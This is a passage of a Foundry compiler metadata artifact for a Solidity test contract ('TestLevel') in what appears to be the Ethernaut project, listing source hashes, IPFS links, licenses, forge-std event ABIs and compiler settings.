ppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/metrics/Level.t.sol\":{\"keccak256\":\"0xca43c4a7590e63a7e85860934c46884ae0192b2aea6cc5777cd704132f1fd28b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://24ee95616757dea60102d326f36f594c685969d77d6db824e6723a2286f87b4a\",\"dweb:/ipfs/QmX1a7pLKLXv6U1KVpwagiRD1cTEz6LKV21ACtTFrf7eYy\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testCreationMultipleLevels"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testCreationMultipleLevels()":{"notice":"Checks states of multiple levels."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/metrics/Level.t.sol":"TestLevel"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR 